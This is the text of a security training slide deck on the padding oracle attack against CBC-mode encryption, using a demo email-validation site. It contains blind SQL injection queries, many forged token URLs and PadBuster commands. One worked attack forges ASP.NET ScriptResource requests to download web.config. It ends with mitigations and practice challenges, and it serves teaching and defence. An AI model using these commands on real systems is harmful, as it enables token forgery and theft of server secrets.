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 Advanced Web Hack:Padding Oracle AttackZetta,Researcher, VXRL
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 Introduction
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 What is Oracle?
 ?Oracle refers to a system that can provide extra information on a system
 Example: Username Validation System is an Oracle of the Email System
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4
 Using Oracle in HackingExample: Blind SQL Injection
 Asking some True / False questions through SQL StatementExample
 http://example.com/product.php?id=1SELECT pname FROM products WHERE pid = 1The password of XAMPP is stored in table webauth.user_pwd in column passQueries: Get the password length
 (SELECT IF(pass LIKE "_", 1, 2) FROM webauth.user_pwd)(SELECT IF(pass LIKE “__", 1, 2) FROM webauth.user_pwd)…
 Queries: Get the password(SELECT IF(pass LIKE “a____", 1, 2) FROM webauth.user_pwd)(SELECT IF(pass LIKE “b____", 1, 2) FROM webauth.user_pwd)(SELECT IF(pass LIKE “ba___", 1, 2) FROM webauth.user_pwd)(SELECT IF(pass LIKE “baa__", 1, 2) FROM webauth.user_pwd)…
 Search times: Reduced from 256n to 256n
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 What is Padding?Some cryptography functions process messages in fixed-length blocks (i.e. Block Cipher)In block cipher, if the message length is not a multiple of the block size, then the last block cannot be accurately processedTherefore, dummy data is appended to the message such that the length of the last block will be equal to the block size Example: Block size = 8, Message = “I_love_hacking”
 Original MessageI _ l o v e _ ha c k i n g
 Padded MessageI _ l o v e _ ha c k i n g ∅ ∅
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 What if no Padding?The encrypted and decrypted message maybe malformedClassic Crypto Example: Transposition Cipher
 Block size = 8, Key = “28156437”Plaintext2 8 1 5 6 4 3 7
 I _ l o v e _ ha c k i n g
 Ciphertext1 2 3 4 5 6 7 8
 l I _ e o v h _k a g i n c
 Ciphertext1 2 3 4 5 6 7 8
 l I _ e o v h _k a g i n c
 Plaintext2 8 1 5 6 4 3 7
 I _ l o v e _ ha k n c i g
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 PKCS#5 / PKCS#7 Padding
 When pad with n bytes, all of them having value n
 When the message is divisible by the block size, you still need to pad a dummy block with n = block size
 Original
 S p a m S p a m
 Padded S p a m S p a m 0x08
 0x08
 0x08
 0x08
 0x08
 0x08
 0x08
 0x08
 Original
 B a c o n
 Padded B a c o n 0x03
 0x03
 0x03Origin
 alE g g
 Padded E g g 0x05
 0x05
 0x05
 0x05
 0x05Origin
 alS a u s a g e
 Padded S a u s a g e 0x01
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 Block Cipher: Cipher-Block Chaining (CBC) ModeEncryption
 Except the first block, each block of plaintext is XORed with the previous block of ciphertext before performing encryptionFor first block, the plaintext is XORed with a random string called “Initialization Vector” (IV) before performing encryption
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 Block Cipher: Cipher-Block Chaining (CBC) Mode
 DecryptionThe decrypted ciphertext block will be XORed with the previous ciphertext block (or IV for first block) to recover the final plaintext
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 Padding Oracle Attack
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 Basic Attack: Email Validation System
 A registration system sends a random token to user’s email address for validating the email addressThe random token is generated by encrypting some information which can uniquely identify the userThe validation system will response in three ways:
 The token is valid for the user (HTTP 200 OK)Valid ciphertext, Valid plaintext
 The token is invalid for the user (HTTP 200 OK)Valid ciphertext, Invalid plaintext
 The token cannot be successfully decrypted (HTTP 500)Invalid ciphertext
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 Basic Attack: Email Validation System
 Let’s say the developer encrypt the email address as the token
 Assume the attacker don’t know this beforehand
 Token = IV || 3DESCBC("[email protected]", key1, key2, key3, IV)
 Valid Token:http://x.ozetta.net/[email protected]&token=2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c8
 Invalid Token:http://x.ozetta.net/[email protected]&token=2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c8
 Invalid Ciphertext:http://x.ozetta.net/[email protected]&token=2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c9
 http://x.ozetta.net/[email protected]&token=2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c8
 http://x.ozetta.net/[email protected]&token=2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c8
 http://x.ozetta.net/[email protected]&token=2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c8
 http://x.ozetta.net/[email protected]&token=2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c8
 http://x.ozetta.net/[email protected]&token=2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c8
 http://x.ozetta.net/[email protected]&token=2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c8
 http://x.ozetta.net/[email protected]&token=2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c9
 http://x.ozetta.net/[email protected]&token=2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c9
 http://x.ozetta.net/[email protected]&token=2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c9
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 How a token is generated(Encryption Process)
 IV = 2eb5b0120c0334a6Ciphertext = cea4e3fc4d240c4e5f9e6f9fa297e7c8
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 How a token is validated(Decryption Process)
 IV = 2eb5b0120c0334a6Ciphertext = cea4e3fc4d240c4e5f9e6f9fa297e7c8
 Valid Padding
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 Exploit the Padding Oracle
 Objective: Recover the plaintext block by blockRequest with an arbitrary IV and one ciphertext block
 Common practice: Start with a null IV and first blockIV = 0000000000000000Ciphertext = cea4e3fc4d240c4ehttp://x.ozetta.net/[email protected]&token=0000000000000000cea4e3fc4d240c4eResponse: 500 - Internal Server Error
 Invalid Padding Invalid Ciphertext
 http://x.ozetta.net/[email protected]&token=0000000000000000cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=0000000000000000cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=0000000000000000cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=0000000000000000cea4e3fc4d240c4e
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 Exploit the Padding Oracle
 Invalid Padding
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 Exploit the Padding Oracle
 Step 1: Recover the last byte of the ciphertext block
 Change the last byte of the IV until you get a valid paddingSimple way: keep increase the last byte of the IV by 1IV = 0000000000000001Ciphertext = cea4e3fc4d240c4ehttp://x.ozetta.net/[email protected]&token=0000000000000001cea4e3fc4d240c4eResponse: 500 - Internal Server Error
 http://x.ozetta.net/[email protected]&token=0000000000000001cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=0000000000000001cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=0000000000000001cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=0000000000000001cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=0000000000000001cea4e3fc4d240c4e
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 Exploit the Padding Oracle
 Invalid Padding
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 Exploit the Padding Oracle
 Step 1: Recover the last byte of the ciphertext block
 After guessing for a while, you should be able to get a token with valid paddingWorst case: guess 255 times IV = 00000000000000c6Ciphertext = cea4e3fc4d240c4ehttp://x.ozetta.net/[email protected]&token=00000000000000c6cea4e3fc4d240c4eResponse: 200 - OK
 Decrypted plaintext does not match with email Invalid token
 http://x.ozetta.net/[email protected]&token=00000000000000c6cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000000000c6cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000000000c6cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000000000c6cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000000000c6cea4e3fc4d240c4e
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 Exploit the Padding Oracle
 Valid Padding
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 Exploit the Padding Oracle
 Step 1: Recover the last byte of the ciphertext block
 We can recover the intermediary value (MV) of last byte
 MV ⊕ 0xC6 = 0x01MV = 0x01 ⊕ 0xC6 = 0xC7
 To recover the plaintext, simply XOR MV with the original IV
 Original IV = 2eb5b0120c0334a6Plaintext = IV ⊕ MV = 0xA6 ⊕ 0xC7 = 0x61 = ‘a’
 But we shouldn’t just satisfy with only one byte of plaintext…
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 Exploit the Padding Oracle
 Step 2: Recover the second last byte of the ciphertext block
 First modify the IV such that the last byte of the ciphertext block becomes 0x02How?
 Plaintext = IV ⊕ MV0x02 = IV ⊕ MV = IV ⊕ 0xC7IV = 0xC7 ⊕ 0x02 = 0xC5
 Then change the second last byte of the IV until you get a valid padding (similar to step 1)
 http://x.ozetta.net/[email protected]&token=00000000000000c5cea4e3fc4d240c4ehttp://x.ozetta.net/[email protected]&token=00000000000042c5cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000000000c5cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000000000c5cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000000000c5cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000000000c5cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000000000c5cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000000000c5cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000000042c5cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000000042c5cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000000042c5cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000000042c5cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000000042c5cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000000042c5cea4e3fc4d240c4e
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 Exploit the Padding Oracle
 Invalid Padding
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 Exploit the Padding Oracle
 Valid Padding
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 Exploit the Padding Oracle
 Step 3 to Step 8: Recover the 3rd last byte to first byte of the ciphertext blockExpected Results
 http://x.ozetta.net/[email protected]&token=00000000007443c4cea4e3fc4d240c4ehttp://x.ozetta.net/[email protected]&token=000000006d7344c3cea4e3fc4d240c4ehttp://x.ozetta.net/[email protected]&token=0000006d6c7245c2cea4e3fc4d240c4ehttp://x.ozetta.net/[email protected]&token=0000d96e6f7146c1cea4e3fc4d240c4ehttp://x.ozetta.net/[email protected]&token=00f2d86f6e7047c0cea4e3fc4d240c4ehttp://x.ozetta.net/[email protected]&token=5cfdd760617f48cfcea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000007443c4cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000007443c4cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000007443c4cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000007443c4cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000007443c4cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00000000007443c4cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=000000006d7344c3cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=000000006d7344c3cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=000000006d7344c3cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=000000006d7344c3cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=000000006d7344c3cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=000000006d7344c3cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=0000006d6c7245c2cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=0000006d6c7245c2cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=0000006d6c7245c2cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=0000006d6c7245c2cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=0000006d6c7245c2cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=0000006d6c7245c2cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=0000d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=0000d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=0000d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=0000d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=0000d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=0000d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00f2d86f6e7047c0cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00f2d86f6e7047c0cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00f2d86f6e7047c0cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00f2d86f6e7047c0cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00f2d86f6e7047c0cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=00f2d86f6e7047c0cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=5cfdd760617f48cfcea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=5cfdd760617f48cfcea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=5cfdd760617f48cfcea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=5cfdd760617f48cfcea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=5cfdd760617f48cfcea4e3fc4d240c4e
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 Exploit the Padding Oracle
 Valid Padding
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 Exploit the Padding Oracle
 Valid Padding
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 Exploit the Padding Oracle
 What’s next?Recover another block using similar procedureManipulate the plaintext and “encrypt” it and send to the server
 Plaintext = IV ⊕ MVIV = MV ⊕ PlaintextIV’ = MV ⊕ Plaintext’
 Change the IV to IV’ where Plaintext’ is your desired plaintext
 Example: get a token for “[email protected]”Change the first block from “z@ozetta” to “xdf@vxrl”Keep the second block
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 Manipulating the Plaintext
 Original: http://x.ozetta.net/[email protected]&token=2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c8
 Manipulated: http://x.ozetta.net/[email protected]&token=2c91b9281f0f32abcea4e3fc4d240c4e5f9e6f9fa297e7c8
 http://x.ozetta.net/[email protected]&token=2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c8
 http://x.ozetta.net/[email protected]&token=2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c8
 http://x.ozetta.net/[email protected]&token=2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c8
 http://x.ozetta.net/[email protected]&token=2c91b9281f0f32abcea4e3fc4d240c4e5f9e6f9fa297e7c8
 http://x.ozetta.net/[email protected]&token=2c91b9281f0f32abcea4e3fc4d240c4e5f9e6f9fa297e7c8
 http://x.ozetta.net/[email protected]&token=2c91b9281f0f32abcea4e3fc4d240c4e5f9e6f9fa297e7c8
 http://x.ozetta.net/[email protected]&token=2c91b9281f0f32abcea4e3fc4d240c4e5f9e6f9fa297e7c8
 http://x.ozetta.net/[email protected]&token=2c91b9281f0f32abcea4e3fc4d240c4e5f9e6f9fa297e7c8
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 Manipulating the Plaintext
 Wait… it should be “vxrl.org” instead…How about I need to modify or produce a longer message?
 Manipulate the last block first, and use the manipulated IV as the second last block of ciphertextExample: encrypt “[email protected]”
 Break into three 64-bit blocksEncrypt the text (“rg” || 0x06 * 6) firstPadded Messaged a r k f l o yd @ v x r l . or g 0x0
 60x06
 0x06
 0x06
 0x06
 0x06
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 Manipulating the Plaintext
 Let’s reuse the previous result…
 Verify the single block: http://x.ozetta.net/validate_email.php?email=rg&token=2692d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/validate_email.php?email=rg&token=2692d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/validate_email.php?email=rg&token=2692d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/validate_email.php?email=rg&token=2692d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/validate_email.php?email=rg&token=2692d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/validate_email.php?email=rg&token=2692d96e6f7146c1cea4e3fc4d240c4e
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 Manipulating the Plaintext
 Treat the new IV as the ciphertext and run the attack
 Start with a null IV and the “ciphertext” you madehttp://x.ozetta.net/validate_email.php?email=x&token=00000000000000002692d96e6f7146c1Do step 1 to step 8…
 After many queries, you should be able to recover the intermediate value
 Manipulate the IV such that the plaintext becomes “[email protected]”
 http://x.ozetta.net/validate_email.php?email=x&token=00000000000000002692d96e6f7146c1
 http://x.ozetta.net/validate_email.php?email=x&token=00000000000000002692d96e6f7146c1
 http://x.ozetta.net/validate_email.php?email=x&token=00000000000000002692d96e6f7146c1
 http://x.ozetta.net/validate_email.php?email=x&token=00000000000000002692d96e6f7146c1
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 Manipulating the Plaintext
 Verify the two blocks: http://x.ozetta.net/[email protected]&token=14ac837ae3f44d3d2692d96e6f7146c1cea4e3fc4d240c4e
 Can we simply verify the single block by this? http://x.ozetta.net/[email protected]&token=14ac837ae3f44d3d2692d96e6f7146c1
 http://x.ozetta.net/[email protected]&token=14ac837ae3f44d3d2692d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=14ac837ae3f44d3d2692d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=14ac837ae3f44d3d2692d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=14ac837ae3f44d3d2692d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=14ac837ae3f44d3d2692d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=14ac837ae3f44d3d2692d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=14ac837ae3f44d3d2692d96e6f7146c1
 http://x.ozetta.net/[email protected]&token=14ac837ae3f44d3d2692d96e6f7146c1
 http://x.ozetta.net/[email protected]&token=14ac837ae3f44d3d2692d96e6f7146c1
 http://x.ozetta.net/[email protected]&token=14ac837ae3f44d3d2692d96e6f7146c1
 http://x.ozetta.net/[email protected]&token=14ac837ae3f44d3d2692d96e6f7146c1
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 Manipulating the Plaintext
 Verify the result: http://x.ozetta.net/[email protected]&token=b5cb39f3c7460ec614ac837ae3f44d3d2692d96e6f7146c1cea4e3fc4d240c4e
 Again, treat the new IV as the ciphertext and run the attack
 http://x.ozetta.net/[email protected]&token=b5cb39f3c7460ec614ac837ae3f44d3d2692d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=b5cb39f3c7460ec614ac837ae3f44d3d2692d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=b5cb39f3c7460ec614ac837ae3f44d3d2692d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=b5cb39f3c7460ec614ac837ae3f44d3d2692d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=b5cb39f3c7460ec614ac837ae3f44d3d2692d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=b5cb39f3c7460ec614ac837ae3f44d3d2692d96e6f7146c1cea4e3fc4d240c4e
 http://x.ozetta.net/[email protected]&token=b5cb39f3c7460ec614ac837ae3f44d3d2692d96e6f7146c1cea4e3fc4d240c4e
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 Practical Example
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 Common used toolsPadBuster
 https://github.com/GDSSecurity/PadBusterAlso included in BackTrack 5
 Padding Oracle Exploit Tool (POET)http://netifera.com/research/
 You can also tailor make your own toolsPadding Oracle Attack on ASP.NET (MS10-070)
 http://www.ampliasecurity.com/research.html
 https://github.com/GDSSecurity/PadBuster
 http://netifera.com/research/
 http://www.ampliasecurity.com/research.html
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 Using PadBusterInstall Perl First
 http://portableapps.com/node/12595
 Download PadBuster Perl Codehttps://raw.github.com/GDSSecurity/PadBuster/320a0206f01076a36c9c94169e00cb93da919679/padBuster.pl
 Put padBuster.pl inside /bin folder for convenience
 Let’s try with our previous email system example first
 You can use the previous example or register a random account in http://x.ozetta.net/register.php
 http://portableapps.com/node/12595
 https://raw.github.com/GDSSecurity/PadBuster/320a0206f01076a36c9c94169e00cb93da919679/padBuster.pl
 https://raw.github.com/GDSSecurity/PadBuster/320a0206f01076a36c9c94169e00cb93da919679/padBuster.pl
 https://raw.github.com/GDSSecurity/PadBuster/320a0206f01076a36c9c94169e00cb93da919679/padBuster.pl
 http://x.ozetta.net/register.php
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 Using PadBuster:Email Validation System
 Since the token is in lowercase hex, the encoding option is 1perl padBuster.pl URL EncryptedSample BlockSize Option
 perl padBuster.pl "http://x.ozetta.net/[email protected]&token=2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c8" 2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c8 8 -encoding 1
 It will then use the encrypted sample for response analysis
 Enter the response signature ID indicates a wrong padding(2 in this case)
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 Using PadBuster:Email Validation System
 After obtained the error pattern, it will start decrypting the ciphertext blocks automaticallyThe decrypted value will also be shown in the final report
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 Using PadBuster:Email Validation System
 You can also manipulate a plaintext using PadBusterExtra Option: -plaintext “something”
 perl padBuster.pl "http://x.ozetta.net/[email protected]&token=2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c8" 2eb5b0120c0334a6cea4e3fc4d240c4e5f9e6f9fa297e7c8 8 -encoding 1 -plaintext "[email protected]"
 After you enter the signature ID, instead of decrypting the ciphertext blocks, PadBuster will “encrypt” the plaintext you entered, starting with a forged null block as the last ciphertext block
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 Using PadBuster:Email Validation System
 426548f1faafdaad24f1f081087a2218906e2db9e8bd93d80000000000000000 will be a valid token for “[email protected]”
 http://x.ozetta.net/[email protected]&token=426548f1faafdaad24f1f081087a2218906e2db9e8bd93d80000000000000000
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 Using PadBuster: ASP.NET WebResource
 Vulnerabilityhttp://support.microsoft.com/kb/910442/en-usWebResource.axd / ScriptResource.axd are URL handlers to serve content from DLL or off diskWebResource.axd?d=encrypted identifier&t=timestampExample: WebResource.axd?d=SbXSD3uTnhYsK4gMD8fL84_mHPC5jJ7lfdnr1_WtsftZiUOZ6IXYG8QCXW86UizF0&t=632768953157700078
 The encrypted string contains a “path” to some contents|WebForms.jsThe identifier indicates WebForms.js within System.Web.dll:
 http://support.microsoft.com/kb/910442/en-us
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 Using PadBuster: ASP.NET WebResource
 VulnerabilityIt just like a file downloader with encrypted file pathCritical file in an ASP.NET server: web.config
 To download it, the identifier is Q|~/web.config
 However, the IV of the ciphertext is fixed and unknown The first block’s plaintext cannot be manipulated !
 “Workaround” identifiers for ScriptResource.axd:Q#(garbage data)|||~/web.configq#(garbage data)|||~/web.configR#(garbage data)|||~/web.configr#(garbage data)|||~/web.config
 Requires brute-forcing the first block such that it will decrypt as one of the above format(Theory) Probability of occurrence: 4/(256^2) = 1/16384
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 Using PadBuster: ASP.NET WebResource
 VulnerabilityExample: ScrewTurn Wiki, an open source ASP.NET wikiWebResource.axd is used in the home pageThe latest version has turn on custom error page, which blocks the trivial padding oracle
 Thai Duong, the key contributor on Padding Oracle Attack, suggests that side channel like response time can still be used
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 Using PadBuster: ASP.NET WebResource
 VulnerabilityLet’s turn off the custom error for convenience…
 Invalid Padding
 AES: Block size = 16Bytes
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 ASP.NET WebResource Vulnerability
 Recover Plaintextperl padBuster.pl “http://192.168.8.9:31337/WebResource.axd?d=K68X_Yrmh6LTxdoO9T12bNfykmaiezmnv2VvuYGbvLQ1” K68X_Yrmh6LTxdoO9T12bNfykmaiezmnv2VvuYGbvLQ1 16 -encoding 3 -noiv
 It works, but we are not interested in this…
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 ASP.NET WebResource Vulnerability
 “Encrypt” Payload Plaintextperl padBuster.pl “http://192.168.8.9:31337/WebResource.axd?d=K68X_Yrmh6LTxdoO9T12bNfykmaiezmnv2VvuYGbvLQ1” K68X_Yrmh6LTxdoO9T12bNfykmaiezmnv2VvuYGbvLQ1 16 -encoding 3 -plaintext "|||~/web.config"
 The encrypted value will be the payload
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 ASP.NET WebResource Vulnerability
 Verify Encrypted Payloadperl padBuster.pl "http://192.168.8.9:31337/WebResource.axd?d=C-uu8Wd6ybEKK3a0qthqmQAAAAAAAAAAAAAAAAAAAAA1" C-uu8Wd6ybEKK3a0qthqmQAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -noiv
 If there are pipe | characters , then you should generate another payload
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 ASP.NET WebResource Vulnerability
 Brute-force the first blockperl padBuster.pl "http://192.168.8.9:31337/ScriptResource.axd?d=C-uu8Wd6ybEKK3a0qthqmQAAAAAAAAAAAAAAAAAAAAA1" C-uu8Wd6ybEKK3a0qthqmQAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -bruteforce -log
 The ID you entered will be skipped in the console log
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 ASP.NET WebResource Vulnerability
 Brute-force the first block
 200 OK with large file size
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 ASP.NET WebResource Vulnerability
 Brute-force the first blockSort by file size to have a better viewThe one with large file size probably is the web.configCheck the log file and you can see the payload and the actual contentObtained payload:MwAOAAAAAAAAAAAAAAAAAAvrrvFnesmxCit2tKrYapkAAAAAAAAAAAAAAAAAAAAA0

Page 53
                        

53
 ASP.NET WebResource Vulnerability
 Brute-force the first block
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 Final Remarks
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 Mitigating the Padding Oracle
 Avoid “Padding”Don’t use CBC mode, use counter (CTR) mode
 Avoid “Oracle”Don’t return distinguishable messages when there is an error
 ASP.NET case: turn on custom error pageYou may also add a random delay time to avoid oracle in response time
 Issue of “Encrypted value”What’s the point if you send out a ciphertext without letting the client to decrypt it? Use a database instead for tokensIf you really need to use, also consider the integrity of the ciphertext, e.g. adding a hash of the ciphertext
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 Your turn!Some other sample applications for you to play around
 http://x.ozetta.net/po/
 Question 1: Get a platinum membership!Hint: use Cookie Editor or document.cookie="name=value“
 Question 2: Skip the boring maths homework!Hint: use the -prefix option to fix a part of the payload so that the application will not return error due to wrong username
 Question 3: Download the key!Hint: use some trick to circumvent the corrupted first block
 No need to use brute force mode (my server is slow)
 http://x.ozetta.net/po/
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